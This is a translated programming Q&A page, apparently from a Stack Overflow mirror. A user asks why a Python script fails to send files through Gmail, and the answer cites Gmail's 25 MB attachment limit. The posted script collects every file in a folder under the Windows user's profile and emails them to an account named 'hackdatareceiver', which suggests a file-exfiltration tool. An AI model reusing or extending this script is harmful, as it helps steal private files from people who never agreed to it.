0

我想通过 Gmail 发送文件,但遇到了问题

我想通过 Gmail 发送文件,但遇到了问题

我想通过 Gmail 发送文件,但遇到了问题


我更换了gmail和密码,但问题没有解决

我更换了gmail和密码,但问题没有解决

我更换了gmail和密码,但问题没有解决


可能是地址有问题。请帮我

可能是地址有问题。请帮我

可能是地址有问题。请帮我


我的错误:

Traceback (most recent call last):
File "C:\Users\Michael\Desktop\windows.information.py", line 83, in <module>
filenames)
File "C:\Users\Michael\Desktop\windows.information.py", line 75, in mail
mailServer.sendmail(gmail_user, to, msg.as_string())
File "C:\Program Files 1\Python2\lib\smtplib.py", line 737, in sendmail
raise SMTPSenderRefused(code, resp, from_addr)
smtplib.SMTPSenderRefused: (552, "5.2.3 Your message exceeded Google's message size limits. Please visit\n5.2.3  https://support.google.com/mail/?p=MaxSizeError to view our size\n5.2.3 guidelines. f192sm642881wmg.14 - gsmtp", 'hackdatasender@gmail.com')

我的脚本:

import os
import getpass
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
from email.MIMEBase import MIMEBase
from email import Encoders


windowsDrive = os.environ['WINDIR'].split(":\\")[0]
userName = getpass.getuser()
    # ===== Set up crap for the attachments
files = windowsDrive+':\\Users\\'+userName+'\\windows.information'
filenames = [os.path.join(files, f) for f in os.listdir(files)]
    ## ===== print filenames


    ## ===== Set up users for email
gmail_user = "hackdatasender@gmail.com"
gmail_pwd = "******"
recipients = ['hackdatareceiver@gmail.com']

    # ===== Create Module
def mail(to, subject, text, attach):
   msg = MIMEMultipart()
   msg['hackdatasender@gmail.com'] = gmail_user
   msg['hackdatareceiver@gmail.com'] = ", ".join(recipients)
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   ## ===== get all the attachments
   for file in filenames:
      part = MIMEBase('application', 'octet-stream')
      part.set_payload(open(file, 'rb').read())
      Encoders.encode_base64(part)
      part.add_header('Content-Disposition', 'attachment; filename="%s"' % file)
      msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(gmail_user, gmail_pwd)
   mailServer.sendmail(gmail_user, to, msg.as_string())
   ## ===== Should be mailServer.quit(), but that crashes...
   mailServer.close()

    # ====== send it
mail(recipients,
   "*** M.1.G.0.A.4.W ***",
   "M.1.G.0.A.4.W",
   filenames)

如何发送超过 25 MB 的文件?

4

1 回答 1

0

您收到的错误表明您发送的文件太大。

Your message exceeded Google's message size limits.

官方 Gmail 文档(链接)指出:

您最多可以发送 25 MB 的附件。如果您有多个附件,则它们的总和不能超过 25 MB。

于 2018-04-27T12:07:40.703 回答